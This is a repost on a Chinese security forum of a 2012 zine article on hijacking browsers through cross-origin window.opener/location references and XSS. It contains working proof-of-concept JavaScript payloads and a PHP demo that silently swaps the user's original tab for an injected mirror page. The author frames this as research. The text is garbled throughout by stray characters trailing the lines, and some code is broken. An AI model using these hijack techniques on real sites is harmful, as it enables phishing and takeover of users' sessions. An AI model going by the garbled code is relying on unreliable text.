找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2371|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==  c7 g  y0 ?; r

2 ]8 u" i3 G2 [! {/ ]                       Issue 0x03, Phile #0x05 of 0x07
" k9 o! \- w" n  o0 t ) _! D8 J. @- v( v" s

0 f- K7 y: R2 T* l( @" @|=---------------------------------------------------------------------------=|3 r$ h7 }2 q8 Y& ?5 [/ G
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
* C* h( A( j7 y% C0 Y$ Q" k; H|=---------------------------------------------------------------------------=|
. A1 V  i- ]' Y|=---------------------------------------------------------------------------=|) a: ]( u! H6 E/ }1 n
|=------------------------=[      By rayh4c     ]=---------------------------=|
6 X, M4 w+ ^! y# n5 S2 h|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
) z* h1 I0 M/ K, x|=---------------------------------------------------------------------------=|
0 M/ ~, L$ o0 @* K% ~, N5 j# j6 E" v) y

+ n. X! m- [8 Q[目录]$ B0 K4 R5 A, P/ H( U
- p) A" o: K( m) S$ `. E
1. 前言# I  P7 F- {) C) s( x4 i. h
2. 同源策略简叙
! \8 N( ^4 j+ V1 T3. 理解window对象的同源策略
  W5 e% H4 @. w) F' i4. 窗口引用功能中的同源策略漏洞
& |2 d0 S; ^/ Q& C  4.1 父窗口引用子窗口的同源策略问题$ ~# T/ j( }+ E* s6 [) j
  4.2 子窗口引用父窗口的同源策略问题, R( j3 x2 ]0 Y+ c& ^) [- @
5. 利用窗口引用漏洞劫持浏览器
+ T; I9 o6 o  p7 [8 n9 I: H1 u6. 利用XSS漏洞劫持浏览器7 n6 L4 l. p& M
  6.1 正向跨窗口劫持( z2 [2 U' k) p- D) W! u' w  C9 ]
  6.2 反向跨窗口劫持
& P& l* _/ }$ e; t9 O  6.3 极度危险的跨框架窗口引用劫持
& `" L- j- W" Q8 v; E  6.4 极度危险的正反向跨窗口递归劫持- y* _# L* R% |! }- s$ P
  6.5 完全控制浏览器
  I/ U& s4 G" |+ U# X+ F/ [7. 后记
! v# o$ ]* t# h: L! s' z/ M2 m8. 参考/ k+ N3 q7 L3 `

0 N: z! s. i' O8 V& @" w4 u2 b( m1 [- |2 ~* |& ~* [
一、前言
& z7 W% v3 J* K( w" I" d
/ r- X& L' H( l8 H8 ]- o3 `$ S) K    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
& ]; F9 x+ |% N8 k  p# |" r  a% P友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session4 T8 l: ]2 }$ m/ p& ?
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
+ b* f* c! @2 l- X. i条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
6 y7 d' C! b: _- q) E9 }* n1 Q7 U7 p3 l, V

9 i2 k6 |% N. K二、同源策略简叙
1 s# @; U  s, W: f9 J7 z9 e
9 G# L" u( y! C6 G* h( K    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
6 P" O7 @$ D# W% J* d+ {. D从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都2 V& Y1 X$ f3 ~
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
& E* \4 {2 z- F# a马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个' P# R% u7 x3 N' L7 V* |# Q
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
: Y- p8 K- ^9 u9 @% ]/ Q( d0 J: A7 u4 a" x+ B

3 K  A4 n# e4 k5 S6 T9 Z三、理解window对象的同源策略8 E- x- _- v, Y2 m

. N7 u$ V, w# D8 Z* d    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对( Z5 s, n$ W  b$ t$ R) T  b7 n
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
, Y$ J# P# N" [, i  r8 N9 `% |6 w4 Q& f
--code-------------------------------------------------------------------------$ v& ]: s2 k, N- m( W, i% [4 |
<script language="javascript">- x4 {9 C  R9 @; m1 c; E' D
for(p in window) document.write(p+"<br>");
. J5 n) x& N0 z/ b- V5 C</script>
; }/ c0 e/ Q* V( m& A7 x-------------------------------------------------------------------------------4 k( ~0 R% _  _# }* W! }, w  q) X6 ~

! W' ?" [) Y- T: B) S) z    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方% ~! V) B0 d5 m4 q/ O$ t
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候," |1 v2 Q* d3 l; X4 t
这些属性和方法就必须遵循同源策略。
2 D7 ~5 c( ~, J7 v0 m9 w) k
6 i7 c( E+ ?8 E# D' Y    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那+ t% Y& U8 U# B, H# c2 g0 S
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须; _$ M+ R0 Q' Q9 j; ~9 f
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
+ t8 w4 [: M% j4 D9 }0 X个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
( _# E" w8 ]8 J$ Y值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location) J% P& v+ b4 Z0 J$ V
属性并没有被拒绝访问。' Q; [, E# d, i6 l( f. D' ^2 m

5 w3 n% M7 ~2 Y  u! p9 ?' H--demo.html--------------------------------------------------------------------
7 X+ t1 _% e; h<script language="javascript">   
& a7 h  s$ n+ E4 n0 }function allPrpos(obj) {      3 X. x5 |# h, g& T* u" T3 h  O
      var props = "<table><tr><td>名称</td><td>值</td>";           3 r4 s, S: K! k2 q, O. _1 b  x
      for(var p in obj){          9 S$ p& Z# h8 H, u( Q' ^: k) N
            if(typeof(obj[p])=="function"){   
1 E0 W3 Q- @& f( |                   obj[p]();   8 F$ s2 O% L+ A3 b- }2 y
             }else{                     
6 A; m: Q: E$ b+ x2 Y% o3 u                  try   ; I# z8 D8 P5 Z2 P: }: `0 Z
                   {   
6 u2 L. c8 }$ r% Z. l! ^                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   , h) w8 Z/ k- F- N
                   }   7 n' E- O, W$ ]/ C
                  catch (ex)   1 U! f/ W' p0 {" E  j% a" K" F
                   {   
4 I! _* D( a$ d' `9 S% ^* n                  
9 k4 W, ~! q: L1 e                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
: f& h# ^- f8 O1 q- Q) ]                   }   ) z+ \2 J' K/ _
                         l4 W; h; {. `3 m2 x% g
             }   2 t% M7 u3 `# J1 G6 j
       }   : x3 Z* j+ u3 E5 g- o
   
1 j: j+ `8 g, h0 D       document.write(props+"</table>");   & m2 j' Z4 A8 m5 G7 l
}   
9 c& ^. y/ M/ ^; P2 I   / F6 ~7 p6 @8 k  ]; |
function createWin() {
* O9 g3 F# H. {        newWin = window.open ("http://www.google.com");  % S0 U6 j1 x/ A. n/ M7 ^
        setTimeout(function(){allPrpos(newWin)},2000); : K3 }: S+ Y% t
}
  q" P2 Q  E0 K7 v  J% Y
( Z2 {+ }+ h8 Z  v</script> / g" j6 c2 Z6 A- T5 x7 u
7 r; S  ^% b8 U+ r2 v7 V
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
3 b  i, A" M! ?8 B-------------------------------------------------------------------------------7 j  f$ O) N7 p" e
! n# l4 {  ~. a8 z! p, Y- |
, S. K# `4 i3 E7 ~! l. e! j
四、窗口引用功能中的同源策略漏洞5 _. r6 d0 T$ r* {3 S- f

" w% j' R% A( U4 C! d, N( j( Z4.1 父窗口引用子窗口的同源策略问题9 Z  D" e, u7 o% Q: A3 x& x
0 G: C. M* l$ {# W" K
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
! r3 J2 z% Z2 [" t7 O# R' s但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
) L* z" @9 o1 f3 M$ d& V! q$ Y0 {- P浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
& s# B  o! `/ _& Z) Z) x行测试,会发现父窗口可以控制非同源子窗口location属性值。$ f' o. o3 y, b4 {+ y2 V0 |: c  ?

! N2 J1 q" c  s6 i) L: O--vul1.html--------------------------------------------------------------------+ l# D( v8 Q* _* l$ i5 ^
<script language="javascript">
9 b% A/ O) K$ ~. t# R2 `function createWin() {    R- m" U4 k7 _
        newWin = window.open ("http://www.google.com");  $ v7 ]% Q/ f3 Y/ l$ ^' I
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
( y) W' t# z0 U" s" ~- N} , H/ E# @) ?% ^7 L1 q, J' B
</script>3 N* r; a) O4 N' {3 J7 O6 ]
' f; Y, D! v# G' n& d- p1 f% ]( r
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
3 g- k# f, I, o: c6 ^: \4 q2 D& z-------------------------------------------------------------------------------+ ]. ?+ @' `( I
6 F; ]3 {& Z# L

' E' y" s0 r1 i4.2 子窗口引用父窗口的同源策略问题
, P& [7 M0 k! u8 U# {; G; C
; z1 ~- t, J( j% f7 J    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使! o0 w6 T: _  _' l* Z; t' C
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们9 d+ w+ _) N! ?: r6 W
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定) J( F/ T6 u2 Y. }& `
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。, q2 r$ h* H7 r

6 S5 r! u; t" p7 r--code-------------------------------------------------------------------------
5 N1 x2 ?8 B) M0 \9 ^0 P) s5 U, f! i7 g6 F# r6 ^
javascript:window.opener.location = "http://www.80sec.com";void(0);
! n* _7 p7 G6 y! Z; V1 ?% T1 J& n* q( ^% ~0 \% v+ {
-------------------------------------------------------------------------------
6 ]9 t* M) C2 u, |
4 q& D* ^/ y/ L+ l0 X9 |
7 X) L  W7 f3 H  y6 g五、利用窗口引用漏洞劫持浏览器
" Q4 _) k+ o: n/ X* c. ~. l
) @2 \  [4 j5 C0 D5 y5 W" ]    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子( ?+ i5 F& a+ O: R8 f- |
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
" M4 `- `6 Q3 I7 `么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。' H' |7 l  x  `! s' s5 p3 ^6 x

) X# ^) H; ~9 j" x/ R; a    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产4 A9 b$ i8 w1 A0 a/ j" I
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
' ^7 }/ z3 ?) X3 f/ [5 q$ D者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接  @- u+ i2 w* t. n/ u7 h7 J/ ~
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下, h; w2 i  e! h) V
会产生什么可怕的后果。8 |" r3 \5 J5 m% o( N1 T

: A2 ~& s2 o+ t, ^- k    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
8 v, d' ]) x3 i: ^们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php1 R" M+ X* n) S$ V% {
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时! K+ e% w$ g- Q
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可3 l8 ~2 a  p7 B/ O; R" V
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
3 U2 O7 [1 H& X8 \( o* v1 x: u; Q  w# ?; J
--hjk_ref.php------------------------------------------------------------------* o3 l- x3 t4 {! [7 f& E9 c- Z0 J
<?php& l' [1 B% T) i) B6 T
if (array_key_exists("HTTP_REFERER", $_SERVER)) {( n! q' \- g" u) L5 J+ o* [
$Url_Mirror = $_SERVER["HTTP_REFERER"];% f3 ]  I: m! o$ C; b0 e
}
! E# v- |: d9 Oif(isset ($_GET['ref'])) {
# ~9 ~6 @; f- D% ~( G8 @# r$ Hecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
! i" J0 Z, h% w9 A) L}
; \6 s, O& l8 Q, c, t" Y?>, X: |2 N* p+ ^: B6 ~. z) }" i/ J

8 d# H. I# W' @$ l$ q% F<script language="javascript">2 Y3 \' j- \, Q) d$ `
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         6 F) K8 q2 ]: E  r
</script>% R8 S, G4 H7 q+ Q2 S  t! o; b* J! v
-------------------------------------------------------------------------------6 ^5 G; C) Y7 Q" m& e
2 j# a7 m, I7 F& z" _
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
1 x6 a7 O/ [9 K2 G! S& w# ~
+ T6 q) c; _4 a) Q7 l2 t2 [- v. e% e( B" T
六、利用XSS漏洞劫持浏览器
( t! K* Y' R+ K! B
' M0 m4 F+ Y' z! J( O' H9 F4 a    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为, Z- W# [; a) l
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后8 `: l( P7 r$ D8 l+ F- H" r
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
' V0 `/ r. }/ \& C+ t讨论跨站师的终极技巧:' d+ Q' y3 [' ^
* M) J/ ]! X6 r
/ L6 Z4 P; |% l4 p: P2 F# {5 Z
6.1 正向跨窗口劫持
0 K3 }/ }. ?* J- e5 J7 H- R
! P8 N9 b! n+ d6 R    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛- T3 l  E" z. ^6 f5 m. U
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链" o9 m, J7 D( S# i# i
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话$ D# K) b1 I+ Z; y. l
框脚本。 ( ]4 E- A  ?1 y0 A3 }' J

1 t8 H5 L1 |6 t. K' H' f( _--hijack_open.js---------------------------------------------------------------! Z$ }/ M1 p; k" t& \3 L

+ H' r( `+ \1 q/ h7 l* ajavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
1 G( o1 M, s) d  c) m. Q+ F  D& H  S, Y2 J8 m6 v
-------------------------------------------------------------------------------  D3 S' Y9 r. _# ]

7 n7 m0 Z- R# o( ^% e
9 R( G) B) r+ N0 P$ J/ ]6.2 反向跨窗口劫持5 |+ L1 a* s: z
3 t' ~3 }: W8 o5 `
    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
! F; Y$ e( k8 ^5 g! b: x; l# r码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话$ J6 b. w0 y6 U
框脚本。
1 \: Y" x$ K5 q# Q+ l$ v( x1 E  O8 D
--hijack_opener.js-------------------------------------------------------------% r! G9 _4 `) K: w6 q0 i

7 @* F" W+ B0 s+ G/ bjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);5 G( V# v% }# \. K/ k! m/ V

/ @9 n' y$ P* {* }1 j; U-------------------------------------------------------------------------------; H( v+ e2 g9 k$ e

5 Y+ a7 |4 x0 t* l5 H: E$ J" n9 [' Y
6.3 极度危险的跨框架窗口引用劫持9 A) }; u) \8 O! H* g

( `3 W- H9 C. A+ @2 y7 z3 {& y    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
, A# b  {- a4 ]可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就' h1 b; z' I' d8 d5 c; Y
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个  W+ B" y! V: {/ O4 a
非持久型的XSS,如下:( @' c$ F7 ^% _6 O1 R

! m6 z9 r. @4 r2 }- g<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>* b6 p+ q( l& Z; j' b
8 P2 \4 M" j* L
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口3 x' B' _  H+ Z: I  Q0 ]2 C
注入脚本。
3 l  H. ~+ O0 a: w* f# u* m" \7 d1 n1 l0 o, I" R% ?) o7 t5 f2 z& h
--hijack_frame_opener.js-------------------------------------------------------
" c- g' i$ I( s. Z6 o7 ]% W- R3 g<script>
& A5 [& P  n# @1 m: xwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";* i5 E  P, @  d0 K5 |
</script>
+ B0 D: w! a5 ~; K6 s-------------------------------------------------------------------------------, T7 i& v! k- \6 C/ S( |
& y& F1 l/ @* E! l

: h0 U2 O1 w; _4 u" `1 n6.4 极度危险的正反向跨窗口递归劫持9 O! u5 q- n5 C& z; C7 L: d# P* A2 T

  K# h5 u  E- P5 R    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window; \( G) q% U' o( L1 l' `
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过( R& L& L& z* N" O3 z* z3 b
异常处理规避之间跨域页面的访问异常,代码如下:
/ R/ W2 c% b  R9 q3 |8 q1 y* O1 e
--code-------------------------------------------------------------------------2 e$ n# `* P2 P0 b$ @

2 Y9 k( S  ~; c8 h5 ^javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);! d2 \: {  \9 H

8 Z! s* w  Q' Q6 B, P1 y* X  q-------------------------------------------------------------------------------
% k0 r# R! \0 N' P$ R5 C' S% I! m# {! o/ c& C5 {7 |) s
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
3 M+ R' v# n* M+ Q) [* s以劫持B域之前的A域页面,从而实现“隔空打击”。/ E$ a& E# c, l& f. i; Z' T

8 K2 d6 y9 |: z7 O( A    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
1 V* R! X, i0 G) ]执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。0 s9 w: }' ?5 H  u, y+ [1 @) S& Z+ _

9 V( l$ G% @, W% R5 M; y1 {" C) B    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
' O6 S- q. u# Q, X0 b' l8 m5 `
2 R) i9 M# `- x" Q3 T
) M2 w0 u1 z8 j; Z% J4 h6.5 完全控制浏览器
" g0 m- x3 v8 y1 n( t- V8 l' o, k9 V# b- s. E
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
* Z  s9 ~2 Q: o! X! G& j  W$ a  G是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS: w0 u2 J+ Q$ h7 z6 @
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
8 X, }7 i6 J, h. Z) @+ G0 W+ V; V而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
! `3 n& b; p; |列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
! n& @( S  y0 r9 x8 B师的终极目标 - 完全控制浏览器。
* R! [; Y) H# ^4 D! A
% M( M  x& f7 Y$ u1 d5 ]: ~, {6 f5 o  d! h( M! H/ u" q& `
七、后记' C/ B; ^8 M( n) f4 g- O. y
- I, W, Z! R& c' ~0 g
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全9 `+ A/ y  `9 e; c
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
6 z. x8 m- ~6 V# f) `过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。" O2 y( ]1 w% @$ @# x

) A- S7 f: [7 n4 w0 E( @# |# g4 Y+ ^8 R7 p& [
八、参考5 {3 V8 z8 k0 a# |" v) [

3 E7 p$ K4 d2 k& I7 `1. http://en.wikipedia.org/wiki/Same_origin_policy2 e9 i5 B/ N0 z* r- f* V$ f2 x8 f
2. http://code.google.com/p/browser ... licy_for_DOM_access
, U: K5 E! [4 z) G& l3. http://www.w3.org/TR/Window/! P/ ]# N" N8 o0 {; R+ E
4. http://www.80sec.com/release/browser-hijacking.txt# L; M  z/ P/ k9 D
5. http://www.80sec.com/all-browser-security-alert.html; U: X" z7 D( F
6. http://www.80sec.com/ms08-058-attacks-google.html9 I2 y1 b$ t2 f* B3 Z/ T" ?

, |0 T% t; {+ H0 P  b+ D& s-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表